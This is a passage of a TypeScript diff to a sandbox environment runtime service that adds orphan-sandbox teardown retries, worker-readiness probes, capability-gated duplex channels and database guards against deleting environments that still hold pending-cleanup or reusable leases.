+        // reconciliation can bind the environment to another company between the
+        // route guard and this insert, so the insert fails closed with
+        // `environment_company_mismatch`. This call already provisioned the remote
+        // sandbox above, so release it now. Without this teardown the rejected
+        // insert leaks a live sandbox that no lease row tracks. Do not tear down a
+        // reused sandbox that an earlier lease still owns.
+        if (!reusableLease || providerLease.providerLeaseId !== reusableLease.providerLeaseId) {
+          // Record the durable pending-cleanup row before the teardown, then
+          // release the remote sandbox. On a successful teardown the handler
+          // releases the row. If the durable write and the teardown both fail,
+          // the handler throws a `SandboxOrphanCleanupWriteError` that carries the
+          // original rejection as its cause.
+          await cleanUpRejectedOrphanSandbox({
+            record: {
+              companyId: input.companyId,
+              environmentId: input.environment.id,
+              executionWorkspaceId: input.executionWorkspaceId ?? null,
+              issueId: input.issueId ?? null,
+              heartbeatRunId: input.heartbeatRunId ?? null,
+              provider: parsed.config.provider,
+              providerLeaseId: providerLease.providerLeaseId,
+              metadata: builtinLeaseMetadata,
+            },
+            cause: error,
+            canTeardown: true,
+            teardown: async () => {
+              await destroySandboxProviderLease({
+                config: parsed.config,
+                providerLeaseId: providerLease.providerLeaseId,
+              });
+            },
+          });
+        }
+        throw error;
+      }
     },
 
     async releaseRunLease(input) {
@@ -1257,6 +2158,140 @@ function createSandboxEnvironmentDriver(
       });
     },
 
+    async retryPendingSandboxTeardown(input) {
+      // Resolve the teardown from the immutable orphan lease row, not from the
+      // current environment. The row keeps the provider, the provider lease id,
+      // and the sandbox config in its metadata. A provider change re-points the
+      // environment, and an environment delete removes it, but neither must
+      // strand this teardown. So the retry reads the recorded provider and the
+      // recorded config, and never the current environment provider.
+      const recordedProvider =
+        input.lease.provider ??
+        (typeof input.lease.metadata?.provider === "string" ? input.lease.metadata.provider : null);
+      if (!recordedProvider) {
+        throw new Error(`Pending-cleanup lease "${input.lease.id}" has no recorded provider for teardown.`);
+      }
+
+      // Build the config from the lease metadata under the orphan's company
+      // scope, so the retry resolves the same connection secrets the failed
+      // acquire used. The recorded config is the sole source of truth here: a
+      // delete removed the environment, and a provider change re-points it, so
+      // the retry never reads the current environment config.
+      const metadataConfig = sandboxConfigFromLeaseMetadataLoose(input.lease);
+      if (!metadataConfig || metadataConfig.provider !== recordedProvider) {
+        throw new Error(
+          `Pending-cleanup lease "${input.lease.id}" has no recorded config for provider "${recordedProvider}".`,
+        );
+      }
+
+      // Plugin-backed provider path. The Claude login runs on a plugin-backed
+      // sandbox, so this path tears down the login orphan.
+      if (!isBuiltinSandboxProvider(recordedProvider)) {
+        if (!pluginWorkerManager) {
+          throw new Error(
+            `Sandbox provider "${recordedProvider}" needs a plugin worker manager for cleanup, but none is available.`,
+          );
+        }
+        const pluginProvider = await resolveSandboxProviderPlugin({ provider: recordedProvider });
+        if (pluginProvider.state !== "running") {
+          throw new Error(
+            `Sandbox provider plugin for "${recordedProvider}" is ${pluginProvider.state}, so the cleanup teardown cannot run yet.`,
+          );
+        }
+        // Resolve the recorded secret refs through the durable orphan record,
+        // not the environment binding. A delete removed the binding, or a
+        // provider change replaced it, so environment-bound resolution would
+        // reject the recorded API-key ref and strand the teardown forever.
+        const config = await resolveSandboxCleanupConfigSecrets(
+          db,
+          input.lease.companyId,
+          metadataConfig,
+          { issueId: input.lease.issueId, heartbeatRunId: input.lease.heartbeatRunId },
+        );
+        const workerConfig = stripSandboxProviderEnvelope(config as SandboxEnvironmentConfig);
+        await pluginWorkerManager.call(
+          pluginProvider.resolved.plugin.id,
+          "environmentDestroyLease",
+          {
+            driverKey: recordedProvider,
+            companyId: input.lease.companyId,
+            // The provider teardown keys on the provider lease id. The
+            // environment id is only context, and it is empty when a delete
+            // removed the environment before this orphan was recorded.
+            environmentId: input.lease.environmentId ?? input.environment?.id ?? "",
+            issueId: input.lease.issueId,
+            config: workerConfig,
+            providerLeaseId: input.lease.providerLeaseId,
+            leaseMetadata: input.lease.metadata ?? undefined,
+          },
+          resolvePluginSandboxRpcTimeoutMs(workerConfig),
+        );
+        return;
+      }
+
+      // Built-in provider path. Resolve the recorded config secrets through the
+      // durable orphan record, not the environment binding, for the same reason
+      // as the plugin path above. The teardown targets the recorded provider,
+      // never the current environment provider.
+      const cleanupConfig = await resolveSandboxCleanupConfigSecrets(
+        db,
+        input.lease.companyId,
+        metadataConfig,
+        { issueId: input.lease.issueId, heartbeatRunId: input.lease.heartbeatRunId },
+      );
+      await destroySandboxProviderLease({
+        config: cleanupConfig,
+        providerLeaseId: input.lease.providerLeaseId,
+      });
+    },
+
+    async isPendingCleanupWorkerReady(input) {
+      // Resolve the recorded provider the same way `retryPendingSandboxTeardown`
+      // does, so the probe reads the same target the teardown uses.
+      const recordedProvider =
+        input.lease.provider ??
+        (typeof input.lease.metadata?.provider === "string" ? input.lease.metadata.provider : null);
+      // A missing provider is a permanent misconfiguration. Report ready, so the
+      // teardown runs, throws, and counts toward the cap.
+      if (!recordedProvider) return true;
+      // A built-in provider has no plugin worker, so it is always ready.
+      if (isBuiltinSandboxProvider(recordedProvider)) return true;
+      // No worker manager is a permanent condition here. Report ready, so the
+      // teardown runs, throws its own "no worker manager" error, and counts
+      // toward the cap.
+      if (!pluginWorkerManager) return true;
+      // Resolve the installed plugin without a wait. A plugin reload or a plugin
+      // reinstall can remove the plugin row for a short window, so a missing
+      // plugin is a transient condition, not a permanent one. Report not ready,
+      // so the sweep skips the lease without a claim, and a later sweep retries
+      // after the plugin returns. A teardown while the plugin is missing only
+      // throws and burns a finite attempt, so a long reload could exhaust the
+      // retries and strand the sandbox. A permanent uninstall also cannot tear
+      // the sandbox down, because there is no worker to call, so the preserved
+      // pending_cleanup row still holds the durable cleanup state for later.
+      const installed = await resolvePluginSandboxProviderDriverByKey({
+        db,
+        driverKey: recordedProvider,
+        workerManager: pluginWorkerManager,
+        requireRunning: false,
+      });
+      if (!installed) return false;
+      // The plugin is installed but not ready yet. A plugin reload or a plugin
+      // reinstall moves the plugin through this state, so it is a transient
+      // window, not a permanent condition. Report not ready, so the sweep skips
+      // the lease without a claim, and a later sweep retries after the plugin
+      // becomes ready. A teardown here only throws "is not_ready" and burns a
+      // finite attempt, so a long reload could exhaust the retries and strand the
+      // sandbox.
+      if (installed.plugin.status !== "ready") return false;
+      // The plugin is installed and ready, so gate on the live worker. A running
+      // worker is ready. A down worker is the transient restart window, so report
+      // not ready and let a later sweep retry after the worker recovers.
+      return pluginWorkerManager.isRunning(installed.plugin.id);
+    },
+
+    flushDeferredOrphanCleanups,
+
     async realizeWorkspace(input) {
       // Resolve the realized cwd and any provider metadata first, then build ONE
       // workspace-realization record and wrap it the SAME way for every driver. A
@@ -1437,6 +2472,116 @@ function createSandboxEnvironmentDriver(
       return await callPluginEnvironmentSync("environmentSyncOut", input);
     },
 
+    async openDuplexChannel(input) {
+      // Plugin-backed sandbox providers only: open the host-owned duplex route on
+      // the plugin worker. The lease scope mirrors the sandbox execute path — the
+      // provider driver key, the company, the environment, and the provider lease
+      // id — so the route binds to the same worker session the runner streams.
+      if (!input.lease.metadata?.sandboxProviderPlugin || !pluginWorkerManager) {
+        throw new Error("Sandbox driver does not support duplex channels for this lease.");
+      }
+      const pluginId = readString(input.lease.metadata?.pluginId);
+      const providerKey = readString(input.lease.metadata?.provider);
+      const providerLeaseId = readString(input.lease.providerLeaseId);
+      if (!pluginId || !providerKey || !providerLeaseId) {
+        throw new Error(
+          "Sandbox duplex channel needs a plugin id, a provider key, and a provider lease id on the lease.",
+        );
+      }
+      const worker = pluginWorkerManager.getWorker(pluginId);
+      if (!worker) {
+        throw new Error(`Plugin worker "${pluginId}" is not running for the duplex channel.`);
+      }
+      const managerInput: WorkerManagerDuplexChannelOpenInput = {
+        driverKey: providerKey,
+        companyId: input.lease.companyId,
+        environmentId: input.environment.id,
+        providerLeaseId,
+        command: input.command,
+      };
+      const session = await worker.openDuplexChannel(managerInput);
+      return adaptDuplexChannelHostSession(session);
+    },
+
+    async effectiveSandboxCapabilities(input) {
+      const metadata = input.lease.metadata ?? {};
+      const providerKey =
+        readString(metadata.provider) ??
+        (input.environment.driver === "sandbox"
+          ? readString((parseEnvironmentDriverConfig(input.environment).config as SandboxEnvironmentConfig).provider)
+          : null);
+      if (!providerKey) {
+        return resolveEffectiveSandboxCapabilities({ verifiedMethods: [], declared: null, narrowing: null });
+      }
+
+      let declared: SandboxProviderCapabilities | null = null;
+      let verifiedMethods: readonly string[] = [];
+      let configResolutionFailed = false;
+
+      if (metadata.sandboxProviderPlugin) {
+        const pluginId = readString(metadata.pluginId);
+        // Read the declaration from the exact plugin that acquired the lease,
+        // not the first installed plugin with this driver key. A driver key is
+        // only unique inside one manifest, so two plugins can share it. The
+        // by-key resolver could intersect this lease's verified methods with a
+        // different plugin's declaration. This resolver fails closed: it returns
+        // null when the pinned plugin id is absent, or when that exact plugin no
+        // longer declares this provider key with the `sandbox_provider` kind.
+        const resolvedDriver = pluginId
+          ? await resolvePluginSandboxProviderDriverById({
+              db,
+              pluginId,
+              driverKey: providerKey,
+            })
+          : null;
+        if (!pluginId || !resolvedDriver) {
+          // Exact-plugin identity failure. The lease pins a plugin id, but the
+          // id is missing, that plugin is absent, or it no longer declares this
+          // provider key. Fail closed: resolve every effective capability to
+          // false, no matter what methods a stale or running worker still
+          // advertises. Do not read the worker methods here; passing them would
+          // let an identity-less lease keep a verified baseline. This differs
+          // from a valid plugin whose manifest merely omits
+          // `sandboxCapabilities`: that case keeps `declared` null below and
+          // defers to verified worker discovery.
+          return resolveEffectiveSandboxCapabilities({
+            verifiedMethods: [],
+            declared: null,
+            narrowing: null,
+          });
+        }
+        verifiedMethods = pluginWorkerManager?.getWorker(pluginId)?.supportedMethods ?? [];
+        declared = resolveDeclaredSandboxCapabilities(resolvedDriver.driver);
+        try {
+          // Resolve the provider config to confirm it is readable. A provider
+          // whose config cannot be resolved is untrusted, so a resolution error
+          // fails closed on persistent process sessions below. The resolved
+          // value itself is no longer read for the narrowing decision.
+          await resolvePluginSandboxRuntimeConfig({
+            environment: input.environment,
+            lease: input.lease,
+            provider: providerKey,
+          });
+        } catch {
+          configResolutionFailed = true;
+        }
+      } else {
+        const builtin = getBuiltinSandboxProvider(providerKey);
+        verifiedMethods = builtinSandboxProviderVerifiedMethods(builtin);
+        declared = resolveDeclaredSandboxCapabilities({
+          supportsReusableLeases: builtin?.supportsReusableLeases,
+        });
+      }
+
+      const narrowing = buildSandboxCapabilityNarrowing({
+        leasePolicy: input.lease.leasePolicy,
+        leaseMetadata: metadata,
+        configResolutionFailed,
+      });
+
+      return resolveEffectiveSandboxCapabilities({ verifiedMethods, declared, narrowing });
+    },
+
     async destroyRunLease(input) {
       return await destroyReusableSandboxLease({
         environment: input.environment,
@@ -1446,6 +2591,21 @@ function createSandboxEnvironmentDriver(
     },
   };
 
+  /**
+   * Verify that the live plugin worker still advertises a reusable-lease
+   * lifecycle method before the runtime dispatches that RPC. The worker reports
+   * `supportedMethods` from its discovery list on every start. A worker restart
+   * can drop a lifecycle method a reusable lease was created under. The runtime
+   * must not dispatch a lifecycle RPC the live worker does not advertise. It
+   * fails closed when the worker is absent or the method is stale, so a lease
+   * that a worker can no longer clean up goes to the cleanup reaper instead of
+   * a doomed RPC.
+   */
+  function pluginWorkerVerifiesLifecycleMethod(pluginId: string, method: string): boolean {
+    const advertised = pluginWorkerManager?.getWorker(pluginId)?.supportedMethods ?? [];
+    return advertised.includes(method);
+  }
+
   async function releasePluginBackedSandboxLease(
     input: EnvironmentDriverReleaseInput,
   ): Promise<EnvironmentLease | null> {
@@ -1454,7 +2614,12 @@ function createSandboxEnvironmentDriver(
     const providerKey = readString(metadata.provider);
 
     let cleanupStatus: "success" | "failed" = "success";
-    if (pluginId && providerKey && pluginWorkerManager?.isRunning(pluginId)) {
+    if (
+      pluginId &&
+      providerKey &&
+      pluginWorkerManager?.isRunning(pluginId) &&
+      pluginWorkerVerifiesLifecycleMethod(pluginId, "environmentReleaseLease")
+    ) {
       try {
         const config = await resolvePluginSandboxRuntimeConfig({
           environment: input.environment,
@@ -1479,12 +2644,26 @@ function createSandboxEnvironmentDriver(
       cleanupStatus = "failed";
     }
 
-    const releaseStatus =
-      input.lease.leasePolicy === "retain_on_failure" && input.status === "failed"
-        ? ("retained" as const)
+    // A failed release verification leaves the provider resource active. The
+    // cleanup reaper retries only `pending_cleanup` leases, so route a failed
+    // release into that retry flow. A `retain_on_failure` lease keeps the
+    // resource on purpose for reuse, so it stays `retained` and never enters the
+    // reaper, which would destroy the resource the retain policy wants to keep.
+    const retained =
+      input.lease.leasePolicy === "retain_on_failure" && input.status === "failed";
+    const releaseStatus = retained
+      ? ("retained" as const)
+      : cleanupStatus === "failed"
+        ? ("pending_cleanup" as const)
         : input.status;
+    const failureReason =
+      input.status === "failed"
+        ? "adapter_or_run_failure"
+        : cleanupStatus === "failed"
+          ? "release_cleanup_failed"
+          : undefined;
     return await environmentsSvc.releaseLease(input.lease.id, releaseStatus, {
-      failureReason: input.status === "failed" ? "adapter_or_run_failure" : undefined,
+      failureReason,
       cleanupStatus,
     });
   }
@@ -1501,7 +2680,12 @@ function createSandboxEnvironmentDriver(
       if (metadata.sandboxProviderPlugin) {
         const pluginId = readString(metadata.pluginId);
         const providerKey = readString(metadata.provider);
-        if (!pluginId || !providerKey || !pluginWorkerManager?.isRunning(pluginId)) {
+        if (
+          !pluginId ||
+          !providerKey ||
+          !pluginWorkerManager?.isRunning(pluginId) ||
+          !pluginWorkerVerifiesLifecycleMethod(pluginId, "environmentDestroyLease")
+        ) {
           cleanupStatus = "failed";
         } else {
           const config = await resolvePluginSandboxRuntimeConfig({
@@ -1560,6 +2744,44 @@ function parseExpiresAt(value: string | null | undefined): Date | null {
   return Number.isNaN(parsed.getTime()) ? null : parsed;
 }
 
+/**
+ * Resolves the persisted lease expiry for a caller-requested deadline. It records
+ * ONLY a provider-attested expiry as evidence of provider enforcement. It never
+ * synthesizes the requested deadline onto the lease row: a database-only expiry
+ * does not stop a remote sandbox after a server crash, so it must not stand in for
+ * a provider-side bound. It returns the real provider expiry when the caller sets
+ * a deadline (the caller then verifies the expiry bounds the deadline and fails
+ * closed when it does not). It returns null when the caller sets a deadline and the
+ * provider grants no expiry. It returns the provider expiry unchanged when the
+ * caller requests no deadline, so all other callers keep the current behavior. It
+ * ignores an invalid requested deadline.
+ */
+function providerAttestedLeaseExpiry(
+  requestedExpiresAt: Date | null | undefined,
+  providerExpiresAt: Date | null | undefined,
+): Date | null | undefined {
+  const requested =
+    requestedExpiresAt instanceof Date && !Number.isNaN(requestedExpiresAt.getTime())
+      ? requestedExpiresAt
+      : null;
+  if (!requested) return providerExpiresAt;
+  return providerExpiresAt ?? null;
+}
+
+/**
+ * Converts a caller-requested deadline to the ISO 8601 string a provider acquire
+ * RPC carries. It returns undefined for an absent or invalid deadline, so a
+ * generic caller without a deadline sends no requested expiry and keeps the
+ * current provider behavior.
+ */
+function requestedExpiresAtParam(
+  requestedExpiresAt: Date | null | undefined,
+): string | undefined {
+  return requestedExpiresAt instanceof Date && !Number.isNaN(requestedExpiresAt.getTime())
+    ? requestedExpiresAt.toISOString()
+    : undefined;
+}
+
 function pluginDriverProviderKey(config: PluginEnvironmentConfig): string {
   return `${config.pluginKey}:${config.driverKey}`;
 }
@@ -1568,21 +2790,32 @@ function readString(value: unknown): string | null {
   return typeof value === "string" && value.length > 0 ? value : null;
 }
 
+// Keys the runtime stores in the lease metadata that are not part of the
+// provider driver config. Some are host-internal control fields. `remoteCwd` is
+// a per-lease runtime value. The host reads `remoteCwd` from the lease metadata
+// directly, so the worker never needs it as config. Drop every key here before
+// the runtime sends a config to a lifecycle RPC.
 const INTERNAL_PLUGIN_SANDBOX_CONFIG_KEYS = new Set([
   "driver",
   "executionWorkspaceMode",
   "pluginId",
   "pluginKey",
   "providerMetadata",
+  "remoteCwd",
   "shellCommand",
   "sandboxProviderPlugin",
 ]);
 
-function sanitizePluginSandboxConfigFromLeaseMetadata(
-  metadata: Record<string, unknown> | null | undefined,
+// Drop the host-internal and per-lease runtime keys from a sandbox config
+// record. The runtime stores these keys in the lease metadata and in some
+// resolved configs, but the plugin worker must receive only the provider driver
+// config. Use this on every config the runtime sends to a lifecycle RPC, so no
+// host-internal field reaches the worker.
+function dropInternalPluginSandboxConfigKeys(
+  config: Record<string, unknown> | null | undefined,
 ): Record<string, unknown> {
   const sanitized: Record<string, unknown> = {};
-  for (const [key, value] of Object.entries(metadata ?? {})) {
+  for (const [key, value] of Object.entries(config ?? {})) {
     if (INTERNAL_PLUGIN_SANDBOX_CONFIG_KEYS.has(key)) continue;
     sanitized[key] = value;
   }
@@ -1708,6 +2941,11 @@ function createPluginEnvironmentDriver(
         executionWorkspaceId: input.executionWorkspaceId ?? undefined,
         adapterType: input.adapterType ?? undefined,
         executionWorkspaceSettings: input.executionWorkspaceSettings,
+        // Forward a caller deadline so the provider configures a provider-side
+        // expiry at or before it and returns the real provider expiry.
+        ...(requestedExpiresAtParam(input.requestedExpiresAt) !== undefined
+          ? { requestedExpiresAt: requestedExpiresAtParam(input.requestedExpiresAt) }
+          : {}),
       } as PluginEnvironmentAcquireLeaseParams);
 
       return await environmentsSvc.acquireLease({
@@ -1719,7 +2957,7 @@ function createPluginEnvironmentDriver(
         leasePolicy: "ephemeral",
         provider: `plugin:${parsed.config.pluginKey}:${parsed.config.driverKey}`,
         providerLeaseId: providerLease.providerLeaseId,
-        expiresAt: parseExpiresAt(providerLease.expiresAt),
+        expiresAt: providerAttestedLeaseExpiry(input.requestedExpiresAt, parseExpiresAt(providerLease.expiresAt)),
         metadata: {
           ...(input.agentId ? { agentId: input.agentId } : {}),
           providerMetadata: providerLease.metadata ?? {},
@@ -1870,6 +3108,11 @@ export function environmentRuntimeService(
     pluginWorkerManager?: PluginWorkerManager;
     pluginWorkerReadyTimeoutMs?: number;
     pluginWorkerReadyPollMs?: number;
+    pendingCleanupWriteAttempts?: number;
+    pendingCleanupWriteBackoffMs?: number;
+    deferredOrphanCleanupBufferLimit?: number;
+    orphanCleanupSpool?: SandboxOrphanCleanupSpool;
+    orphanCleanupSpoolDir?: string;
   } = {},
 ) {
   const environmentsSvc = environmentService(db);
@@ -1882,6 +3125,11 @@ export function environmentRuntimeService(
       pluginWorkerManager: options.pluginWorkerManager,
       pluginWorkerReadyTimeoutMs: options.pluginWorkerReadyTimeoutMs,
       pluginWorkerReadyPollMs: options.pluginWorkerReadyPollMs,
+      pendingCleanupWriteAttempts: options.pendingCleanupWriteAttempts,
+      pendingCleanupWriteBackoffMs: options.pendingCleanupWriteBackoffMs,
+      deferredOrphanCleanupBufferLimit: options.deferredOrphanCleanupBufferLimit,
+      orphanCleanupSpool: options.orphanCleanupSpool,
+      orphanCleanupSpoolDir: options.orphanCleanupSpoolDir,
     }),
     ...(options.pluginWorkerManager
       ? [createPluginEnvironmentDriver(db, options.pluginWorkerManager)]
@@ -1919,6 +3167,17 @@ export function environmentRuntimeService(
   return {
     getDriver,
 
+    /**
+     * Read the sandbox duplex bridge kill switch for a new run. The host calls it
+     * per run before it selects the callback bridge transport. It reads the
+     * experimental instance setting `enableSandboxDuplexBridge` and maps it into
+     * the resolved bridge input. The default-off setting keeps the file bridge.
+     */
+    async readSandboxDuplexBridgeInput(): Promise<ResolvedSandboxDuplexBridgeInput> {
+      const experimental = await instanceSettingsService(db).getExperimental();
+      return resolveSandboxDuplexBridgeInput(experimental);
+    },
+
     async acquireRunLease(input: {
       companyId: string;
       environment: Environment;
@@ -1936,6 +3195,18 @@ export function environmentRuntimeService(
        * lease uses the operator-prepared custom image.
        */
       applyCustomImageTemplate?: boolean;
+      /**
+       * The latest time the acquired lease may stay active. The driver bounds
+       * the persisted lease expiry to this time. Null or undefined keeps the
+       * provider expiry only.
+       */
+      requestedExpiresAt?: Date | null;
+      /**
+       * Re-check the environment company binding inside the lease insert
+       * transaction. The login acquire paths set this to reject a foreign-company
+       * environment with the 403 `environment_company_mismatch`.
+       */
+      assertCompanyBinding?: boolean;
     }): Promise<EnvironmentRuntimeLeaseRecord> {
       if (input.environment.status !== "active") {
         throw new Error(`Environment "${input.environment.name}" is not active.`);
@@ -1956,6 +3227,8 @@ export function environmentRuntimeService(
         executionWorkspaceSettings: input.executionWorkspaceSettings ?? null,
         adapterType: input.adapterType ?? null,
         applyCustomImageTemplate: input.applyCustomImageTemplate ?? false,
+        requestedExpiresAt: input.requestedExpiresAt ?? null,
+        assertCompanyBinding: input.assertCompanyBinding,
       });
 
       return {
@@ -1968,6 +3241,7 @@ export function environmentRuntimeService(
     async releaseRunLeases(
       heartbeatRunId: string,
       status: Extract<EnvironmentLeaseStatus, "released" | "expired" | "failed"> = "released",
+      onLeaseReleaseError?: (leaseId: string, error: unknown) => void,
     ): Promise<EnvironmentRuntimeLeaseRecord[]> {
       const leaseRows = await db
         .select()
@@ -1982,36 +3256,98 @@ export function environmentRuntimeService(
         return [];
       }
 
+      // Release each lease in its own try/catch. One driver error must not stop
+      // the release of the later leases. The caller records each lease-specific
+      // error through `onLeaseReleaseError` for its log path. Keep the order
+      // serial.
       const released: EnvironmentRuntimeLeaseRecord[] = [];
       for (const leaseRow of leaseRows) {
-        const environment = await environmentsSvc.getById(leaseRow.environmentId);
-        if (!environment) continue;
+        try {
+          const environment = leaseRow.environmentId
+            ? await environmentsSvc.getById(leaseRow.environmentId)
+            : null;
+          if (!environment) continue;
 
-        const leaseSnapshot = toEnvironmentLeaseSnapshot(leaseRow);
-        const driver = getDriver(getLeaseDriverKey(leaseSnapshot, environment));
-        const lease = driver
-          ? await driver.releaseRunLease({
-              environment,
-              lease: leaseSnapshot,
-              status,
-            })
-          : await environmentsSvc.releaseLease(leaseRow.id, status);
-        if (!lease) continue;
+          const leaseSnapshot = toEnvironmentLeaseSnapshot(leaseRow);
+          const driver = getDriver(getLeaseDriverKey(leaseSnapshot, environment));
+          const lease = driver
+            ? await driver.releaseRunLease({
+                environment,
+                lease: leaseSnapshot,
+                status,
+              })
+            : await environmentsSvc.releaseLease(leaseRow.id, status);
+          if (!lease) continue;
 
-        released.push({
-          environment,
-          lease,
-          leaseContext: {
-            executionWorkspaceId: lease.executionWorkspaceId,
-            executionWorkspaceMode:
-              (lease.metadata?.executionWorkspaceMode as ExecutionWorkspace["mode"] | null | undefined) ?? null,
-          },
-        });
+          released.push({
+            environment,
+            lease,
+            leaseContext: {
+              executionWorkspaceId: lease.executionWorkspaceId,
+              executionWorkspaceMode:
+                (lease.metadata?.executionWorkspaceMode as ExecutionWorkspace["mode"] | null | undefined) ?? null,
+            },
+          });
+        } catch (error) {
+          onLeaseReleaseError?.(leaseRow.id, error);
+        }
       }
 
       return released;
     },
 
+    // Tear an orphan ephemeral sandbox down from its recorded provider config.
+    // A failed acquire records the orphan as a `pending_cleanup` lease. The row
+    // keeps the provider, the provider lease id, and the sandbox config, so this
+    // teardown runs without the environment row and accepts a null environment.
+    // The teardown resolves the recorded secret refs through the durable orphan
+    // record, so a deleted or foreign-bound environment never strands it. The
+    // caller owns the lease release; this dispatcher only runs the provider
+    // teardown and throws when the driver teardown throws.
+    async retryPendingSandboxTeardown(input: {
+      environment: Environment | null;
+      lease: EnvironmentLease;
+    }): Promise<void> {
+      const driver = requireDriverKey(getLeaseDriverKey(input.lease, input.environment));
+      if (!driver.retryPendingSandboxTeardown) {
+        throw new Error(
+          `Environment driver "${driver.driver}" does not support orphan sandbox teardown.`,
+        );
+      }
+      await driver.retryPendingSandboxTeardown(input);
+    },
+
+    // Report whether the provider worker can run an orphan teardown now. The
+    // cleanup sweep calls this before it claims a finite retry attempt, so a
+    // briefly-down plugin worker never burns an attempt. This dispatcher never
+    // throws: an unregistered driver, or a driver with no probe, reports ready,
+    // so the teardown still runs and its own failure counts toward the cap.
+    async isPendingCleanupWorkerReady(input: {
+      environment: Environment | null;
+      lease: EnvironmentLease;
+    }): Promise<boolean> {
+      const driver = getDriver(getLeaseDriverKey(input.lease, input.environment));
+      if (!driver?.isPendingCleanupWorkerReady) return true;
+      return driver.isPendingCleanupWorkerReady(input);
+    },
+
+    // Flush the in-process orphan-cleanup buffers of every driver that keeps one.
+    // The cleanup sweep calls this each tick, so a buffered orphan lands a durable
+    // `pending_cleanup` row once the database recovers, and the same sweep tears
+    // it down. The dispatcher sums the recovered and pending counts across all
+    // drivers. A driver with no buffer contributes nothing.
+    async flushDeferredOrphanCleanups(): Promise<{ recovered: number; pending: number }> {
+      let recovered = 0;
+      let pending = 0;
+      for (const driver of drivers.values()) {
+        if (!driver.flushDeferredOrphanCleanups) continue;
+        const result = await driver.flushDeferredOrphanCleanups();
+        recovered += result.recovered;
+        pending += result.pending;
+      }
+      return { recovered, pending };
+    },
+
     async destroyReusableSandboxLeases(input: {
       companyId: string;
       issueId?: string | null;
@@ -2038,7 +3374,9 @@ export function environmentRuntimeService(
 
       const destroyed: EnvironmentRuntimeLeaseRecord[] = [];
       for (const leaseRow of leaseRows) {
-        const environment = await environmentsSvc.getById(leaseRow.environmentId);
+        const environment = leaseRow.environmentId
+          ? await environmentsSvc.getById(leaseRow.environmentId)
+          : null;
         if (!environment) continue;
         const leaseSnapshot = toEnvironmentLeaseSnapshot(leaseRow);
         const driver = getDriver(getLeaseDriverKey(leaseSnapshot, environment));
@@ -2105,6 +3443,13 @@ export function environmentRuntimeService(
       return driver?.supportsSync?.(input) ?? false;
     },
 
+    async effectiveSandboxCapabilities(
+      input: EnvironmentDriverLeaseInput,
+    ): Promise<EffectiveSandboxCapabilities | null> {
+      const driver = getDriver(getLeaseDriverKey(input.lease, input.environment));
+      return (await driver?.effectiveSandboxCapabilities?.(input)) ?? null;
+    },
+
     async syncIn(input: EnvironmentDriverSyncInput): Promise<PluginEnvironmentSyncResult> {
       const driver = requireDriverKey(getLeaseDriverKey(input.lease, input.environment));
       if (!driver.syncIn) {
@@ -2120,6 +3465,27 @@ export function environmentRuntimeService(
       }
       return await driver.syncOut(input);
     },
+
+    async openDuplexChannel(
+      input: EnvironmentDriverOpenDuplexChannelInput,
+    ): Promise<CommandManagedDuplexChannel> {
+      const driver = requireDriverKey(getLeaseDriverKey(input.lease, input.environment));
+      if (!driver.openDuplexChannel) {
+        throw new Error(`Environment driver "${driver.driver}" does not support duplex channels.`);
+      }
+      // Centralize the duplex channel authorization here. Resolve the exact lease
+      // capability snapshot and refuse unless the effective snapshot grants the
+      // opt-in `duplexCommandStream` capability. This gate runs before the driver
+      // call, so an unauthorized lease never reaches the worker. The
+      // execution-target member gate stays as defense in depth. A driver that
+      // cannot resolve the snapshot fails closed with the fixed refusal.
+      const effective =
+        (await driver.effectiveSandboxCapabilities?.(input)) ?? null;
+      if (effective?.duplexCommandStream !== true) {
+        throw new Error(DUPLEX_CHANNEL_CAPABILITY_DENIED);
+      }
+      return await driver.openDuplexChannel(input);
+    },
   };
 }
 
diff --git a/server/src/services/environments.ts b/server/src/services/environments.ts
index 736462b06b0..11e7a825a7c 100644
--- a/server/src/services/environments.ts
+++ b/server/src/services/environments.ts
@@ -30,7 +30,7 @@ import {
   type EnvironmentLeaseStatus,
   type UpdateEnvironment,
 } from "@paperclipai/shared";
-import { conflict } from "../errors.js";
+import { conflict, forbidden } from "../errors.js";
 import { logActivity } from "./activity-log.js";
 import { isCloudManagedInstance } from "./cloud-instance.js";
 import {
@@ -822,6 +822,26 @@ export function environmentService(db: Db) {
       return row ? toEnvironment(row) : null;
     },
 
+    /**
+     * List the companies that own an environment through a built-in managed
+     * resource binding. A managed sandbox row binds to each company that the
+     * instance provisions it for. An operator-created environment has no
+     * binding, so this returns an empty list. The caller treats an empty list
+     * as an instance-global environment with no company owner.
+     */
+    listBoundCompanyIds: async (environmentId: string): Promise<string[]> => {
+      const rows = await db
+        .select({ companyId: builtInManagedResources.companyId })
+        .from(builtInManagedResources)
+        .where(
+          and(
+            eq(builtInManagedResources.resourceKind, MANAGED_ENVIRONMENT_RESOURCE_KIND),
+            eq(builtInManagedResources.resourceId, environmentId),
+          ),
+        );
+      return Array.from(new Set(rows.map((row) => row.companyId)));
+    },
+
     getLeaseById: async (id: string): Promise<EnvironmentLease | null> => {
       const row = await db
         .select()
@@ -1089,6 +1109,29 @@ export function environmentService(db: Db) {
               select 1 from ${instanceSettings}
               where ${instanceSettings.defaultEnvironmentId} = ${environments.id}
             )`,
+            // A `pending_cleanup` lease is the durable teardown reference for an
+            // orphan sandbox. The environment foreign key uses
+            // `on delete set null`, so a delete keeps the lease row but drops its
+            // environment reference. This predicate refuses the delete while such
+            // a lease exists, so the operator resolves the cleanup first and the
+            // lease keeps its environment link. It runs in the same statement as
+            // the delete, so it also closes the check-to-delete race.
+            sql`not exists (
+              select 1 from ${environmentLeases}
+              where ${environmentLeases.environmentId} = ${environments.id}
+                and ${environmentLeases.status} = 'pending_cleanup'
+            )`,
+            // A reusable lease keeps a live provider sandbox after a run
+            // releases it. Deleting the environment would set its reference to
+            // null, and both the normal release path and scoped reusable cleanup
+            // require that environment context. Refuse the delete atomically
+            // until the owning issue/workspace destroys the reusable sandbox.
+            sql`not exists (
+              select 1 from ${environmentLeases}
+              where ${environmentLeases.environmentId} = ${environments.id}
+                and ${environmentLeases.leasePolicy} = 'reuse_by_environment'
+                and ${environmentLeases.status} in ('active', 'released', 'retained')
+            )`,
           ),
         )
         .returning()
@@ -1096,6 +1139,26 @@ export function environmentService(db: Db) {
       return row ? toEnvironment(row) : null;
     },
 
+    /**
+     * Return true when the environment has one or more leases in the terminal
+     * `pending_cleanup` state. Each such lease is the only durable provider
+     * reference for an orphan sandbox that a teardown retry must destroy. The
+     * delete guard and the provider-change guard call this to protect that
+     * reference.
+     */
+    hasUnresolvedPendingCleanupLeases: async (environmentId: string): Promise<boolean> => {
+      const rows = await db
+        .select({ count: sql<number>`count(*)::int` })
